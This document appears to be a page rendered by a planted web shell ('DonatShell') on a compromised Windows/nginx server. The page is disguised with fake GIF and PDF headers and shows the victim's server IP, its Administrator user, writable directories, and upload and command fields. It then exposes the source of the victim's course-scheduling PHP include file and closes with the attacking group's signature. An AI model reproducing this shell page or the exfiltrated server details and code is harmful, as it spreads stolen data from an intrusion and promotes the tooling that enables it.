GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/js_write_Schedule.phpinc
<?
// Schedule/js_write_Schedule.phpinc
// Set js variables needed for schedule management.

echo "
// BEGIN FILE ".basename(__FILE__)." ".currentDateTime()."
// BEGIN ".basename(__FILE__)." comments on line ".__LINE__.". /** /";
t_Begin(); // Begin TRACKing js_write_Schedule.phpinc.

// Get schedule info.
if (isset($_SESSION['user']['scheduleId'])) {
	$query = "
			SELECT departmentId
					 , sessionId
					 , scheduleName
				FROM `schedule`
			 WHERE scheduleId = ".$_SESSION['user']['scheduleId']."
	";
	d_Var('scheduleInfo',$query,'q');
	$scheduleInfo = query_info($query); // Also used in defining ScheduleInstructor[], Course{}, and Credential{}.
} else {
	$scheduleId = 0;
	$scheduleInfo = array();
	$scheduleInfo['departmentId'] = 0;
	$scheduleInfo['sessionId'] = 0;
	$scheduleInfo['scheduleName'] = '';
}
d_Var('$scheduleInfo',$scheduleInfo);

$jsText = "";
$jsText .= "
console.log('%c\t".basename(__FILE__)."','background-color:#000; color: #ccc;');";

require('Schedule/js_write_Schedule_CollegeCampusBuildingRoom.phpinc');
require('Schedule/js_write_Schedule_Course.phpinc');
require('Schedule/js_write_Schedule_Credentials.phpinc');
require('Schedule/js_write_Schedule_Instructor.phpinc');
require('Schedule/js_write_Schedule_ScheduleCurrent.phpinc');
require('Schedule/js_write_Schedule_SessionCurrent.phpinc');

// ScheduleClass.
// Define the $ScheduleClassCourses[] array and the ScheduleClass object.
// ScheduleClass[] = { Course:"Dept+Number", courseId:"courseId", Section:"Section" }; Section needs to allow for multiple sections.
$ScheduleClassCourses = array(); // $ScheduleClassCourses is used in defining the SCMnow{} object.
require('getScheduleClasses.phpinc');
$jsText .= "\n"."
const ScheduleClass = {}; // Classes that are are on the schedule.";
if ( $scheduleclassCount ) {
	$scIdMaxwidth = spaceMaxFill($scheduleclassResult, 'scheduleclassId');
	query_seek($scheduleclassResult, 0);
	while ($scheduleclassInfo = query_row($scheduleclassResult)) {
		// Get scheduleclassSections.
		$query = "SELECT scheduleclassSection FROM `scheduleclasssection` WHERE scheduleclassId = ".$scheduleclassInfo['scheduleclassId']." ORDER BY scheduleclassSection";
		d_Var('scheduleclasssectionResult',$query,'q');
		$scheduleclasssectionResult = query_do($query);
		$scheduleclasssectionCount = $GLOBALS['_QUERY']['count'];
		$scheduleclassInfo['scheduleclassSection'] = query_to_list($scheduleclasssectionResult);
		$ScheduleClassCourses[$scheduleclassInfo['scheduleclassId']] = $Courses[$scheduleclassInfo['courseId']];
		$sp = spaceFill($scheduleclassInfo['scheduleclassId'], $scIdMaxwidth);
		$jsText .= "
		ScheduleClass[".$scheduleclassInfo['scheduleclassId']."] ".$sp.'= { scId:'.$scheduleclassInfo['scheduleclassId'].', '.$sp.'Course:"'.$Courses[$scheduleclassInfo['courseId']].'", courseId:"'.$scheduleclassInfo['courseId'].'", Section:"'.$scheduleclassInfo['scheduleclassSection'].'", StartDate:"'.$scheduleclassInfo['scheduleclassStartDate'].'", EndDate:"'.$scheduleclassInfo['scheduleclassEndDate'].'", Online: "'.$scheduleclassInfo['scheduleclassOnline'].'" };';
	}
}
//d_Var('$ScheduleClassCourses',$ScheduleClassCourses,'d+/');

// ClassMeetings.
// Define the SCMnow object.
// SCMnow[scId] = array of { scmId:scmId, sDate:'scheduleclassmeetingStartDate', eDate:'scheduleclassmeetingEndDate', bTime:'scheduleclassmeetingBeginTime', eTime:'scheduleclassmeetingEndTime', onCampus:'scheduleclassmeetingOnCampus', rooms:[], days:[], instructors:[], tdMinute:tdMinute };
// rooms[] is an array of roomIds.
// days[] is an array of day letters (weekdayD).
// instructors[] is and array of instructorIds (userIds).
// tdMinute is the minute part of the ScheduleCell div id. This should be removed from all javascript and php use. Then it can then be removed here.
$jsText .= "\n"."
const SCMold = {}; // Used to remember original values for drag/move of meeting and to detect if changes were made.";
$classMeetingName = 'SCMold';
require('Schedule/js_write_Schedule_ClassMeeting.phpinc');

$jsText .= "
const SCMnow = JSON.parse(JSON.stringify(SCMold)); // Class meetings for each class on the schedule.
";
/** /
$jsText .= "
const SCMnow = {}; // Class meetings for each class on the schedule.
";
$classMeetingName = 'SCMnow';
require('Schedule/js_write_Schedule_ClassMeeting.phpinc');
/**/
	
// BEGIN ClassMeeting_ScheduleClass{}.
// Define the ClassMeeting_ScheduleClass{} object.
// ClassMeeting_ScheduleClass[scheduleclassmeetingId] = scheduleclassId
$jsText .= "
var ClassMeeting_ScheduleClass = {}; // Reverse lookup from scmId to scId (ScheduleClass[scId]). Used by the Events_Prepare_MaxOverlap() function.";
if ( $scheduleclassCount ) { // Are there schedule classes?
	query_seek($scheduleclassResult, 0);
	while ($scheduleclassInfo = query_row($scheduleclassResult)) { // Loop thru schedule classes.
		// Get scheduleclassmeeting.
		$query = "
				SELECT scheduleclassmeetingId
						 , scheduleclassmeetingStartDate
						 , scheduleclassmeetingEndDate
						 , scheduleclassmeetingBeginTime
						 , scheduleclassmeetingEndTime
						 , IFNULL(scheduleclassmeetingOnCampus, 1) AS scheduleclassmeetingOnCampus
					FROM `scheduleclassmeeting`
				 WHERE scheduleclassId = ".$scheduleclassInfo['scheduleclassId']."
		";
		d_Var('scheduleclassmeetingResult',$query,'q');
		$scheduleclassmeetingResult = query_do($query);
		$scheduleclassmeetingCount = $GLOBALS['_QUERY']['count'];
		d_Var('$scheduleclassmeetingResult',$scheduleclassmeetingResult);
		if ( $scheduleclassmeetingCount ) { // Are there class scheduleclassmeetings?
			$scmIdMaxwidth = spaceMaxFill($scheduleclassmeetingResult, 'scheduleclassmeetingId');
			if ( $scheduleclassInfo['scheduleclassId'] < 10 ) { $sp = ' '; } else { $sp = ''; }
				query_seek($scheduleclassmeetingResult, 0);
				while ($meetingInfo = query_row($scheduleclassmeetingResult)) { // Loop thru class scheduleclassmeetings.
					$sp = spaceFill($meetingInfo['scheduleclassmeetingId'], $scmIdMaxwidth);
					$jsText .= "
		ClassMeeting_ScheduleClass[".$meetingInfo['scheduleclassmeetingId']."] ".$sp."= ".$scheduleclassInfo['scheduleclassId'].';';
				} // Loop thru class scheduleclassmeetings.
		} // Are there class scheduleclassmeetings?
	} // Loop thru schedule classes.
} // Are there schedule classes?
// END ClassMeeting_ScheduleClass{}.

// BEGIN ScheduleDaysFullWeek and ScheduleDaysWorkWeek.
$ScheduleDaysFullWeek = '';
$ScheduleDaysWorkWeek = '';
// Get weekdays.
require('site/get_weekdays.phpinc');
if ( $weekdayCount ) { // Are there weekdays?
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) { // Loop thru weekdays.
		$ScheduleDaysFullWeek .= $weekdayInfo['weekdayD'];
		if ( $weekdayInfo['weekdayNumber'] > 0 && $weekdayInfo['weekdayNumber'] < 6 ) { // Is this day in the work week?
			$ScheduleDaysWorkWeek .= $weekdayInfo['weekdayD'];
		} // Is this day in the work week?
	} // Loop thru weekdays.
} // Are there weekdays?
$jsText .= "\n"."
// Days in the full and work week.
var ScheduleDaysFullWeek = '".$ScheduleDaysFullWeek."'; // Full week.
var ScheduleDaysWorkWeek = '".$ScheduleDaysWorkWeek."'; // Work week.";
// END ScheduleDaysFullWeek and ScheduleDaysWorkWeek.

// BEGIN Schedule view settings.
$jsText .= "\n"."
// Schedule view settings.";
if ( $_SESSION['user']['calendar_dayview'] == 'Work week' ) {
	$jsText .= "
var ScheduleViewDays = ScheduleDaysWorkWeek;";
} else {
	$jsText .= "
var ScheduleViewDays = ScheduleDaysFullWeek;";
}
if ( !$_SESSION['user']['calendar_showconflicts'] ) $_SESSION['user']['calendar_showconflicts'] = 0;
$jsText .= "
var ScheduleDayView = '". $_SESSION['user']['calendar_dayview']."'; // The days visible in the current view.
var ScheduleIncrementHeight = ".$_SESSION['user']['calendar_incrementheight']."; // The height in pixels for each row.
var ScheduleHeightMultiplier = ".$_SESSION['user']['calendar_incrementheight']/$_SESSION['user']['calendar_timeincrement']."; // The multiplier used to calculate class meeting heights.
var ScheduleTimeBegin = ".(int)$_SESSION['user']['calendar_timebegin']."; // The beginning hour in the current view.
var ScheduleTimeEnd = ".(int)$_SESSION['user']['calendar_timeend']."; // The ending hour in the current view.
var ScheduleTimeIncrement = ".$_SESSION['user']['calendar_timeincrement']."; // The increment in minutes from row-to-row.
var ScheduleHighlightView = '".$_SESSION['user']['calendar_showconflicts']."'; // The current highlight view setting. Needs to be changed to allow for all 5 selections." ;
// END Schedule view settings.

// BEGIN Semester date settings.
$jsText .= "\n"."
// Semester date settings: Full, 1st half, and 2nd half dates. Used to quickfill date fields.";
$query = "
		SELECT sessionStart
				 , sessionEnd
			FROM `session`
		 WHERE sessionId = ".$_SESSION['user']['sessionId']."
";
d_Var('sessionInfo',$query,'q');
$sessionInfo = query_info($query);
d_Var('$sessionInfo',$sessionInfo);
	
if ( $sessionInfo ) {
	$semesterFullStart = $sessionInfo['sessionStart'];
	$semesterFullEnd = $sessionInfo['sessionEnd'];
	$semester1stStart = $sessionInfo['sessionStart'];
	$semester1stEnd = date('Y-m-d',strtotime($sessionInfo['sessionStart'] . " + 53 days"));
	$semester2ndStart = date('Y-m-d',strtotime($sessionInfo['sessionEnd'] . " - 60 days"));
	//$semester2ndEnd = date('Y-m-d',strtotime($sessionInfo['sessionEnd'] . " - 7 days")); // Exclude finals week.
	$semester2ndEnd = $sessionInfo['sessionEnd']; // Include finals week.
} else {
	$semesterFullStart = '';
	$semesterFullEnd = '';
	$semester1stStart = '';
	$semester1stEnd = '';
	$semester2ndStart = '';
	$semester2ndEnd = '';
}
$jsText .= "
var SemesterFullStart = '".$semesterFullStart."';
var SemesterFullEnd	 = '".$semesterFullEnd."';
var Semester1stStart	= '".$semester1stStart."';
var Semester1stEnd		= '".$semester1stEnd."';
var Semester2ndStart	= '".$semester2ndStart."';
var Semester2ndEnd		= '".$semester2ndEnd."';";
// END Semester date settings.

// BEGIN Weekdays.
// Define the Weekdays{} object.
// Weekdays[weekdayId] = { weekdayD:'weekdayD', weekdayWeekday:'weekdayWeekday' }
// Begin the Weekdays{} object.
$jsText .= "

// Weekdays.
var Weekdays = {}; ";

if ( $weekdayCount ) { // Are there weekdays?
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) { // Loop thru weekdays.
	$jsText .= "
		Weekdays[".$weekdayInfo['weekdayId']."] = { weekdayId:'".$weekdayInfo['weekdayId']."', weekdayNumber:".$weekdayInfo['weekdayNumber'].", weekdayD:'".$weekdayInfo['weekdayD']."', weekdayWeekday:'".$weekdayInfo['weekdayWeekday']."' };";	 
	} // Loop thru weekdays.
} // Are there weekdays?
// END Weekdays.

// BEGIN WeekdayD. Reverse lookup from D to weekdayId.
// Define the WeekdayD{} object.
// WeekdayD[weekdayD] = weekdayId
// Begin the Weekdays{} object.
$jsText .= "

// WeekdayD. Reverse lookup from D to weekdayId.
var WeekdayD = {}; ";

if ( $weekdayCount ) { // Are there weekdays?
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) { // Loop thru weekdays.
	$jsText .= "
		WeekdayD['".$weekdayInfo['weekdayD']."'] = ".$weekdayInfo['weekdayId'].";";
	} // Loop thru weekdays.
} // Are there weekdays?
// END WeekdayD.

$jsText .= "
";

echo "
// END ".basename(__FILE__)." comments on line ".__LINE__." /**/.
";

echo $jsText; // Write out the script.

echo "
// END FILE ".basename(__FILE__)."
";

t_End(); // End TRACKing js_write_Schedule.phpinc.
?>

Anon7 - 2022
AnonSec Team